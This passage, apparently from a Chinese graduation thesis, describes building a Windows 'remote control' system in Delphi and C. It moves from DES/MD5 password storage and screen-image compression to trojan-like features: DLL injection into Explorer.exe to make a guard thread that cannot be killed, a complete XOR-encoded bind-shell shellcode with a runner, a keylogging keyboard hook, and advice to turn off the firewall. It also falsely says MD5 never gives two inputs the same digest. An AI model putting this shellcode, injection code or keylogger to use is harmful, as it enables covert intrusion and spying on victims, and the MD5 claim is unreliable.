么DES确实是一种好的办法,因为黑客绝不会仅仅为入侵一个服务器而花那么多的钱破解DES密文。由于现在已经能用二十万美圆制造一台破译DES的特殊的计算机,所以现在再对要求“强壮”加密的场合已经不再适用了。而在本软件系统的密码存储功能中使用DES是非常切合实际的。5.1.2MD5算法研究(1)MD5算法特点现阶段,笔者认为存在两种加密方式,单向加密和双向加密。双向加密是加密算法中最常用的,它将人们可以直接理解的明文数据加密为人们不可直接理解的密文数据,然后,在需要的时候,可以使用一定的算法将这些加密以后的密文解密为原来可以理解的明文。双向加密适合于隐秘通讯,比如,在网上购物的时候,需要向网站提交信用卡密码,用户当然不希望数据直接在网上明文传送,因为这样很可能被别的用户“偷听”,如果信用卡密码是通过加密以后,再在网络传送,这样,网站接受到数据以后,通过解密算法就可以得到准确的信用卡账号。  单向加密刚好相反,只能对数据进行加密,也就是说,没有办法对加密以后的数据进行解密。在实际中的一个应用就是数据库中的用户信息加密,当用户创建一个新的账号或者密码,他的信息不是直接保存到数据库,而是经过一次加密以后再保存,这样,即使这些信息被泄露,也不能立即理解这些信息的真正含义。  MD5算法处理后的数据具有单向性 第52页共52页,对于MD5而言,有两个特性是很重要的,第一是任意两段明文数据,加密以后的密文不能是相同的;第二是任意一段明文数据,经过加密以后,其结果必须永远是不变的。前者的意思是不可能有任意两段明文加密以后得到相同的密文,后者的意思是如果加密特定的数据,得到的密文一定是相同的。(2)MD5算法的应用MD5的典型应用是对一段信息(message)产生信息摘要(message-digest),以防止被篡改。比如,在unix下有很多软件在下载的时候都有一个文件名相同,文件扩展名为.MD5的文件,在这个文件中通常只有一行文本,大致结构如:MD5(gliet.edu.gz)=c951ef5bd4186d615f6b54e4c7ae1c66这就是gliet.edu.gz文件的数字签名。MD5将整个文件当作一个大文本信息,通过其不可逆的字符串变换算法,产生了这个唯一的MD5信息摘要。如果在以后传播这个文件的过程中,无论文件的内容发生了任何形式的改变(包括人为修改或者下载过程中线路不稳定引起的传输错误等),只要你对这个文件重新计算MD5时就会发现信息摘要不相同,由此可以确定你得到的只是一个不正确的文件。如果再有一个第三方的认证机构,用MD5还可以防止文件作者的"抵赖",这就是所谓的数字签名应用。(3)MD5算法的实现对MD5算法简要的叙述可以为:MD5以512位分组来处理输入的信息,且每一分组又被划分为16个32位子分组,经过了一系列的处理后,算法的输出由四个32位分组组成,将这四个32位分组级联后将生成一个128位散列值。在MD5算法中,首先需要对信息进行填充,使其字节长度对512求余的结果等于448。因此,信息的字节长度(bitslength)将被扩展至n*512+448,即n*64+56个字节(bytes),n为一个正整数。填充的方法如下,在信息的后面填充一个1和无数个0,直到满足上面的条件时才停止用0对信息的填充。然后,在这个结果后面附加一个以64位二进制表示的填充前信息长度。经过这两步的处理,现在的信息字节长度=n*512+448+64=(n+1)*512,即长度恰好是512的整数倍。这样做的原因是为满足后面处理中对信息长度的要求。MD5中有四个32位被称作链接变量(chainingvariable)的整数参数,他们分别为:a=0x01234567,b=0x89abcdef,c=0xfedcba98,d=0x76543210。当设置好这四个链接变量后,就开始进入算法的四轮循环运算。循环的次数是信息中512位信息分组的数目。将上面四个链接变量复制到另外四个变量中:a到a,b到b,c到c,d到d。 第52页共52页主循环有四轮(MD4只有三轮),每轮循环都很相似。第一轮进行16次操作。每次操作对a、b、c和d中的其中三个作一次非线性函数运算,然后将所得结果加上第四个变量,文本的一个子分组和一个常数。再将所得结果向右环移一个不定的数,并加上a、b、c或d中之一。最后用该结果取代a、b、c或d中之一。以一下是每次操作中用到的四个非线性函数(每轮一个)。 f(x,y,z)=(x&y)|((~x)&z) g(x,y,z)=(x&z)|(y&(~z)) h(x,y,z)=x^y^z i(x,y,z)=y^(x|(~z))(&是与,|是或,~是非,^是异或)这四个函数的说明:如果x、y和z的对应位是独立和均匀的,那么结果的每一位也应是独立和均匀的。f是一个逐位运算的函数。即,如果x,那么y,否则z。函数h是逐位奇偶操作符。5.2数据库设计为了方便管理多个被控端的信息,本文在系统中设计了一个数据库,专门用于信息存储。本系统中的数据库只需要存储三类信息:(1)被控端的IP地址信息;(2)被控端的端口信息;(3)被控制的密码信息;数据库样本如图5.1所示:图5.1数据库样本数据库功能设计如图5.2所示:图5.2数据库功能设计 第52页共52页数据库中存储了的信息中有一项为密码信息,为了不让密码信息泄漏,本文设计时使用了DES加密算法进行加,如图5.1中的password列中的信息就是通过DES加密后的密码信息。软件系统在读取密码信息之后,结合密钥,就可以把密码还原。5.3数据压缩数据压缩在网络远程控制系统中有着举足轻重的作用,它直接关系到整个系统的成败。在过去的很长一段时间里,已经有很多研究人员在这方面投入了大量的精力,也做了较的贡献。本系统就是站在这些“巨人”的户膀上,深入研究压缩算法,最终实现了的较好的数据压缩效果。本文设计的系统中,屏幕监控是功能上的一个较大的模块,也是网络远程控制最为直接的方式。通过对屏幕的捕捉,压缩,传输,解压,显示等流程,实现被控制端的屏幕在控制端系统软件中同步,根据网络条件的好坏,在显示与终端命令传输功能上,略有延时。接着,本文说明系统中采用的图像压缩方式。5.3.1有损数据压缩JPEG(JointPhotographicExpertsGroup)图片以24位颜色存储单个光栅图像。JPEG是与平台无关的格式,支持最高级别的压缩,不过,这种压缩是有损耗的。渐近式JPEG文件支持交错。可以提高或降低JPEG文件压缩的级别。但是,文件大小是以图像质量为代价的。压缩比率可以高达100:1。(JPEG格式可在10:1到20:1的比率下轻松地压缩文件,而图片质量不会下降。)。优点:(1)摄影作品或写实作品支持高级压缩。(2)利用可变的压缩比可以控制文件大小。(3)支持交错(对于渐近式JPEG文件)。(4)JPEG广泛支持Internet标准。缺点:(1)有损耗压缩会使原始图片数据质量下降。(2)编辑和重新保存JPEG文件时,JPEG会混合原始图片数据的质量下降。这种下降是累积性的。(3)JPEG不适用于所含颜色很少、具有大块颜色相近的区域或亮度差异十分明显的较简单的图片。在系统中,实现位图压缩成为JPEG,并保存在流中,其具体的算法如下代码所示:procedureBitmapToJpeg(bmp:TBitMap;ms:TMemoryStream);var 第52页共52页Jpg:TJPEGImage;sSize:integer;beginJpg:=TJPEGImage.Create;tryJpg.Assign(bmp);//载入位图;Jpg.CompressionQuality:=90;//压缩质量;Jpg.Compress;//执行压缩;Jpg.SaveToStream(ms);//保存压缩后的数据到内存流中;finallyJpg.Free;end;end;经过位图的有损压缩的数据流可再进行流的压缩,最后传给控制处理。5.3.2无损数据压缩本系统在最初设计时,屏幕监控的数据流都是采用的位图的无损压缩。在Windows2000各个版本中的执行效果非常的好,在WindowsXP(sp0,sp1)中执行效果极佳,可惜的是,在WindowsXP(sp2)却不能得到满意的效果。WindowsXP(sp2)中有它自己的数据保护机制,这种机制使它与以前的Windows系统在zLib压缩算法上不兼容。同时,WindowsXP(sp2)在发送网络数据包时,它的缓冲区的大小也与其以前的系统版本不同,每次发送的数据包要比其前的所有Windows系统的缓冲区大小几十个字节。它的作用是使以前的各种已经存在的溢出程序无效(笔者认为这种保护机制有一定的效果,但方法显得有些笨拙)。从软件系统的兼容性出发,本网络远程控制系统最终放弃了这种压缩方法。但是在本系统的设计与研发过程中,作者投入了大量的精力分析、研究与实践,它虽然在网络方面不便使用,但在单机系统中仍为利用的价值。因此对其算法也简单的介绍一下。首先利用屏幕拷贝捕捉到当前整个屏幕的图像,然后在内存中保存为BMP文件格式。压缩时,使用TCompressionStream对象对原始图像进行压缩并且保存为自定义的文件格式;解压缩时,使用TDecompressionStream对象对被压缩的图像进行解压缩,还原为BMP格式的图像文件。解压方法如下:tryDecompressBuf(@Data[1],Length(Data),Length(Data)*3,buf,size);except 第52页共52页onE:ExceptiondobeginE.Message:=Format("ErrorDecompressingBuffer(Len=%d):"#13#10"%s",[Length(Data),e.Message]);raise;end;end;另外,本文本在研究过程中,还采用了一种先进的屏幕扫描方法。首先把屏幕分成N行(如果分辨率为1024x768,则把屏幕分成768行),再进行逐行扫描,在内存中进行数据比较,只把变化的数据提取出来处理,方法如下:fori:=0to(screen.Height-1)dobeginln1:=bmp1.ScanLine[i];ln2:=bmp2.ScanLine[i];ifnotCompareMem(ln1,ln2,image1.Width)thenbeginProcessData(ln2,i);end;end;6系统特色及关键技术6.1程序指纹设计本系统设计开发出的软件系统,是Windows下的可执行PE类文件。现在关于PE文件的病毒种类烦多,其变种与新类型的病毒不断出现,出于服务程序的安全性考虑,系统中专门设定了自己的程序指纹,每次程序启动时,首先检查自己的指纹,如果指纹正确刚启动系统;如果指纹不正确,则提示用户,让用户决定是否继续执行。程序指纹的具体设计如下:首先以共享可写的方式打开系统程序,再创建文件指针,并把指针指向文件末。最后把程序指纹的密钥信息,以二进制的形式追加到程序末尾。程序经此操作之后,具有了自己的独特性与唯一性,如果程序受到病毒的感染,在启动时便能自动检测出来。程序指纹的验证:与加入程序指纹一样,首先需要以共享可读的方式打开系统程序,再创建一个文件指针,并把指针指向文件末。 第52页共52页然后确定自身密钥的二进制流的大小,从程序中以二进制的形式读取密钥信息,最后把读取的密钥信息与自身的验证结构体信息进行对比,从而确定出程序的指纹是否正确。通过对程序指纹的设计与实现,有效的保护了网络远程控制软件系统安全。6.2线程守护设计线程守护的功能是:当程序出现严重错误或者被意外关闭时,守护线程能够立即侦测到,并及时做出响应(修复程序或者重新启动程序)。有效保证了程序在系统中的正常运行。其具体实现如下:(1)开发实现守护功能的动态链接库程序,它负责实时检测网络远程控制软件系统的运行状态,当发生异常时,则进行系统修复操作,然后再重新启动软件系统。(2)使用软件系统自身把实现守护功能的动态链接库程序远程注入到系统进程中(本文设计注入系统进程Explorer.exe中)。需要注意的是,一旦守护进程开启,它就不能自行退出了,必须注销或者重新启动系统,才能解除内核线程对程序的保护功能。也正是因为它的这个特点,其它的程序对这个守护线程无法访问,做到了真正意义上的安全。6.3远程线程注入技术远程线程注入技术是通过另一个进程中创建远程线程的方法,进入该进程的内存地址空间。一般情况下,在同一个进程内通过CreateThread函数创建的线程,被创建的新线程与原来的主线程共享地址空间和其他资源。本文要说明的是,通过CreateRemoteThread函数可以在另一个进程内创建新线程,被创建的远程线程(即另一进程的线程)同样可以共享远程进程(即另一进程)的地址空间。实践证明,通过一个远程线程,进入了远程进程的内存空间,也就拥有了进程了内存地址空间,也就拥有了远程进程相当的权限。接着说明远程线程注入的编程实现:(1)通过OpenProcess来试图打开要嵌入的进程(如果远程进程不允许打开,那么嵌入就无法进行,这往往是由于权限不足引起的,解决的办法是通过种种途径提升本地进程的权限),使用代码如下:hRemoteProcess:=OpenProcess(PROCESS_CREATE_THREAD|//允许远程创建;PROCESS_VM_OPERATION|//允许远程VM操作;PROCESS_VM_WRITE,//允许远程写VM;FALSE,//是否被新建的子进程屏蔽;dwRemoteProcessId);//远程进程; 第52页共52页由于后面需要写入远程进程的内存地址空间并建立远程线程,所以需要申请足够的权限(PROCESS_CREATE_THREAD、PROCESS_VM_OPERATION、PROCESS_VM_WRITE)。(2)使用LoadLibraryW函数来启动网络远程控制软件系统中的守护线程。LoadLibraryW函数是在kernel32.dll中定义的,用来加载DLL文件,它只有一个参数,就是DLL文件的绝对路径名pszLibFileName,本文中是实现线程守护功能的DLL文件名。但是,由于DLL是在远程进程内调用的,所以还需要先将这个文件名复制到远程地址空间,其代码如下所示://计算DLL路径名需要的内存空间;cb:=(1+lstrlenW(pszLibAFileName))*sizeof(WCHAR);//使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区;pszLibFileRemote:=PWIDESTRING(VirtualAllocEx(hRemoteProcess,nil,cb,MEM_COMMIT,PAGE_READWRITE));//使用WriteProcessMemory函数将DLL路径名复制到远程进程的内存空间;iReturnCode:=WriteProcessMemory(hRemoteProcess,pszLibFileRemote,pszLibAFileName,cb,TempVar);//其中的pszLibAFileName是本进程的DLL文件名,//pszLibFileRemote是远程线程的DLL文件名的存放地址;//取得LoadLibraryW的入口地址;pfnStartAddr:=GetProcAddress(GetModuleHandle(‘kernel32’),’LoadLibraryW’);//启动远程线程并调用LoadLibraryW函数,加载DLL;Result:=CreateRemoteThread(hRemoteProcess,nil,0,pfnStartAddr,pszLibFileRemote,0,TempVar);让代码运行于其它进程内存空间,这样就能够很好的守护网络远程控制软件系统。6.4ShellCode技术ShellCode一般是通过溢出等方式获取执行权的,并且要在执行时调用目标系统的API进行一些工作,因此就要求ShellCode采用一种较为通用的方法获取目标系统的API函数地址,其次由于其运行地址难以确定,因此对数据的寻址要采用动态的方法。另外,ShellCode一般是作为数据发送给目标程序的,目标程序一般会对数据进行过滤,这对ShellCode提出了编码的要求。本文采用C编写的ShellCode。最终要生成ShellCode代码,涉及到提取C生成的汇编代码的问题。但在C中由于编译器会在函数的开始和结束生成一些附加代码,而这些代码未必是程序员所 第52页共52页需要的,还有一个问题就是要提取代码的结束在C中没有直接的操作符获取。在函数的开始和结束加入特征字符串用C库函数memcmp搜索即可定位。对ShellCode的编码可写一段程序进行,比如XOR法的。最后写一段函数将编码后的ShellCode打印出来,复制、粘贴就可以用在程序里面了。以下给出在系统中设计出来的ShellCode代码以及其调用方法:#definePORT53#definePORT_OFFSET176unsignedcharbdshellcode[]=//decode"xEBx10x5Ax4Ax33xC9x66xB9x7Dx01x80x34x0Ax99xE2xFA""xEBx05xE8xEBxFFxFFxFF"//shellcode"x70x95x98x99x99xC3xFDx38xA9x99x99x99x12xD9x95x12""xE9x85x34x12xD9x91x12x41x12xEAxA5x12xEDx87xE1x9A""x6Ax12xE7xB9x9Ax62x12xD7x8DxAAx74xCFxCExC8x12xA6""x9Ax62x12x6BxF3x97xC0x6Ax3FxEDx91xC0xC6x1Ax5Ex9D""xDCx7Bx70xC0xC6xC7x12x54x12xDFxBDx9Ax5Ax48x78x9A""x58xAAx50xFFx12x91x12xDFx85x9Ax5Ax58x78x9Bx9Ax58""x12x99x9Ax5Ax12x63x12x6Ex1Ax5Fx97x12x49xF3x9AxC0""x71x1Ex99x99x99x1Ax5Fx94xCBxCFx66xCEx65xC3x12x41""xF3x9CxC0x71xEDx99x99x99xC9xC9xC9xC9xF3x98xF3x9B""x66xCEx75x12x41x5Ex9Ex9Bx99x99xACxAAx59x10xDEx9D""xF3x89xCExCAx66xCEx69xF3x98xCAx66xCEx6DxC9xC9xCA""x66xCEx61x12x49x1Ax75xDDx12x6DxAAx59xF3x89xC0x10""x9Dx17x7Bx62x10xCFxA1x10xCFxA5x10xCFxD9xFFx5ExDF""xB5x98x98x14xDEx89xC9xCFxAAx50xC8xC8xC8xF3x98xC8""xC8x5ExDExA5xFAxF4xFDx99x14xDExA5xC9xC8x66xCEx79""xCBx66xCEx65xCAx66xCEx65xC9x66xCEx7DxAAx59x35x1C""x59xECx60xC8xCBxCFxCAx66x4BxC3xC0x32x7Bx77xAAx59""x5Ax71x76x67x66x66xDExFCxEDxC9xEBxF6xFAxD8xFDxFD""xEBxFCxEAxEAx99xDAxEBxFCxF8xEDxFCxC9xEBxF6xFAxFC""xEAxEAxD8x99xDCxE1xF0xEDxCDxF1xEBxFCxF8xFDx99xD5""xF6xF8xFDxD5xF0xFBxEBxF8xEBxE0xD8x99xEExEAxABxC6""xAAxABx99xCExCAxD8xCAxF6xFAxF2xFCxEDxD8x99xFBxF0" 第52页共52页"xF7xFDx99xF5xF0xEAxEDxFCxF7x99xF8xFAxFAxFCxE9xED""x99xFAxF5xF6xEAxFCxEAxF6xFAxF2xFCxEDx99";voidmain(intargc,char**argv){WSADATAwsa;unsignedshortport;WSAStartup(MAKEWORD(2,2),&wsa);port=htons(PORT)^(USHORT)0x9999;memcpy(&bdshellcode[PORT_OFFSET],&port,2);//执行ShellCode;((void(*)(void))&bdshellcode)();}6.5hook技术hook技术也叫做系统钩子,它的作用是让系统在执行实际功能之前,先做一些“预处理”。在很多情况下,想监视或改变某个应用程序的一些特定的操作,但是该应用程序却没有提供相应的接口,而又不可能得到其源代码,所以可以采用hook的方式来改变应用程序的行为。在本文设计开发的系统中,键盘监控功能就使用了hook技术。当键盘记录功能开启后,hook函数首先捕获键盘击键信息,并保存在内存或某一文件中,然后恢复原来的指令,交给系统处理信息,最后,要停止键盘记录时,把函数unhook。(1)加载hook时,需要定位至被截函数处(图6.1中是BF501234),写入一条跳转指令(jmpxxxx,二进制代码是E9xxxx),表示所有程序调用被截函数时都自动跳转到自定义的函数。(2)自定义函必须与被截函数有相同的参数及调用方式(stdcall),否则会造成栈出错。在自定义函数中(如图6.1右边的④)必须把“jmpxxxx”暂时复原为原来的指令,并调用被截函数(图6.1中的BF501234),最后把被截函数原来的指令再次改为“jmpxxxx”。本系统在设计HOOK时,还加入了键盘记录的功能代码。(3)卸载HOOK时,需要把“jmpxxxx”恢复为原来的指令。 第52页共52页图6.1函数HOOK前后7开发环境、运行平台(1)开发环境网络远程控制软件系统使用BorlandDelphi6.0开发程序界面和大部分功能;使用MicrosoftVisualStudio6.0开发一些线程守护、Telnet终端的客户端与服务端以及其它一些插件式功能;使用MicrosoftAccess数据库开发数据存储功能。“真正的程序员用C,聪明的程序员用Delphi。”这句话体现了C与Delphi的最大的区别。Delphi的特色就在于它的VCL完美地封装了WindowsAPI,使用VCL可以非常方便地实现许多复杂的功能。而且它还使用MicrosoftWindows图形用户界面的许多先进特性和设计思想,采用了弹性可重复利用、完事的、面向对象的程序语言,拥有较快的编辑器,领先的数据库技术,且功能强大。除了开发VXD,没有Delphi做不到的事情。发展到6.0版本,Delphi的技术已经非常成熟。集成开发环境、VCL、集成编译器、集成链接器、集成调试器、对COM/COM+技术的支持、对Internet应用的支持、辅助开发工具都得到了进一步发展。在BorlandDelphi6.0集成开发环境中开发应用程序的过程,笔者感受到了RAD技术带来的实惠。VisualC++6.0作为功能强大的可视化应用程序开发工具,极方便开发Windows下的各种应用程序,加之它的网络程序开发的很好支持,最终成为Windows下C语言 第52页共52页程序员们的不二之选。MicrosoftAccess数据库本身具备许多优点,不需要专门的服务器支持,开发数据库程序时高效快捷,在涉及到的数据量不是非常大的情况下选用。因为这些优点,它成为笔者在开发数据存储功能时的首选。(2)运行平台①硬件支持环境综合系统开发软件要求条件,本系统运行下的硬件支持环境至少应满足如表7.1中的要求:②操作系统平台操作系统:Windows2000Professional,Windows2000Server,Windows2000AdvancedServer,(Win2K及其sp1,sp2,sp3,sp4,sp5皆可);WindowsXP(及其sp1,sp2);表7.1系统运行硬件环境表硬件最低要求计算机Intel或兼容机Pentium166MHz或更高,推荐PentiumII400MHz以上的处理器内存64MB以上硬盘空间空闲空间20M以上显示器VAG或更高分辨率的显示器③网络环境程序的运行需要良好的网络环境,操作系统必须能支持TCP/IP协议,支持WinSock2.0以上的版本。如果计算机上装有防火墙,须在防火墙中设置本系统程序为通行,或者关闭防火墙。(3)优点与不足分析①优点:系统兼容性好,功能强大,设计的网络模型适应面广,有专门的防毒保护措施,加密解密算法在系统中得到了灵活地运用,界面美观大方,操作简单。②缺点:文件的上传下载不支持断点续传,控制程序不能同时控制多台服务器,不支持对服务器的网络唤醒,网络带宽要求较高,可能存在着BUG。 第52页共52页8结论本系统从最初设计到最终实现,都具有前瞻性。本文分析了当前网络远程控制技术,研究了通过底层Socket实现网络通信方法,设计了新型网络连接模型,创造了独特的程序指纹与自我鉴定算法,开辟了内核级线程守护先河,引入了复杂的ShellCode制作技术,展示了先进的HOOK技术与实用的管道技术,实现了功能极其强大的网络远程控制软件系统的开发。与同类远程控制软件相比,本系统具有以下优势:(1)设计的新型网络模型,适应多种网络环境;(2)许多远程操作分为前台与后台操作,可满足不同情况下,不同用户的需求;(3)程序指纹可检测病毒、防止软件被他人修改;(4)线程守护可弥补进程守护的众多不足;(5)具备信息刺探功能;(6)ShellCode技术的引用,实现程序执行的高效性。(7)加密技术的使用,使密码不易泄漏,在一定程度上提供了安全保障;(8)数据库的使用,方便管理服务器信息;(9)功能极其强大,但操作简单。通过这次毕业设计,笔者主要学到了程序中的接口设计与调用方法,加深了对TCP/IP协议的理解,清楚了许多系统内核知识与多媒体知识,形成了良好的编程风格,积累了许多宝贵的实践经验,结识了一些黑客界的编程高手,培养了分析问题并解决问题的能力,开启了创新意识和思维,扩展了知识面,也体会到了成功的喜悦。技术永无止境,程序终可优化。本软件系统虽然测试成功,但仍有许多算法与结构需要进行优化,还有更多实际的功能需要加入,程序中也可能潜在着一些Bug。笔者将会在今后的学习实践中不断地对其优化、设计,使其更加完美,更能满足人们的实际需求,最终成为人们远程监控、远程公办、远程教育的好助手。 第52页共52页谢辞 第52页共52页参考文献[1]韩冰,余耀辉,薛秋沛,等.BorlandDelphi多媒体应用开发技术与实例[M].北京:清华大学出版社,2002.1[2]CameronHughes,TraceyHughes.C++面向对象多线程编程(周良忠)[M].北京:人民邮电出版社,2003.4[3]刘鹏,亚敏,李真文,等.VisualC++编程实例教程(第二册)[M].北京:北京希望电子出版社,2002.11[4]刘宏昆.Delphi应用技巧与常见问题你问我答[M].北京:机械工业出版社,2003.6[5]鲍敏,吴昊.Delphi网络高级编程[M].北京:人民邮电出版社,2001.8[6]胡峪,刘静.VC++高级编程技巧与示例[M].西安:西安电子科技大学出版社,2001.5[7]王树伟,王蒙.Dephi下深入Windows核心编程[M].北京:电子工业出版社,2003.1[8]郭晶,杨章玉.Delphi7数据库应用开发[M].北京:电子工业出版社,2003.1[9]郭振斌,黄业清.Delphi高级界面特效制作百例[M].北京:中国电力出版社,2000.9[10]王卓,李建欣,张煜,等.Delphi7程序设计应用教程[M].北京:中国铁道出版社,2003.5[11]MichaelHoward,DavidLeBlanc.WritingSecureCode(2ndEdition)[M].北京:清华大学出版社,2002.12.4[12]W.RichardStevens,BillFenner,AndrewM.Rudoff.UNIXNetworkProgramming,Volume1TheSocketsNetworkingAPI(3rdEdition)[M].ChinaMachinePress,2004.7[13]JohnW.Satzinger,RobertB.Jackson.SystemAnalysisandDesigninaChangingWorld[M].ChinaMachinePress,2000.5[14]IanT.Foster.DesigningandBuildingParallelPrograms:ConceptsandToolsforParallelSoftwareEngineering[M].Addison-WesleyPulishingCompany,Inc.1995.1.31[15]D.BrookshireConner,DavidNiguidula,AndriesVanDam.Object-OrientedProgrammingInPascal[M].Addison-WesleyPublishingCompany,Inc.1995[16]ByronS.Gottfried.ProgrammingwithPascal[M].SCHAUM"SOUTLINESERIESMcGRAW-HILL,INC.1993[17]http://www.csdn.net[18]http://www.xfocus.net'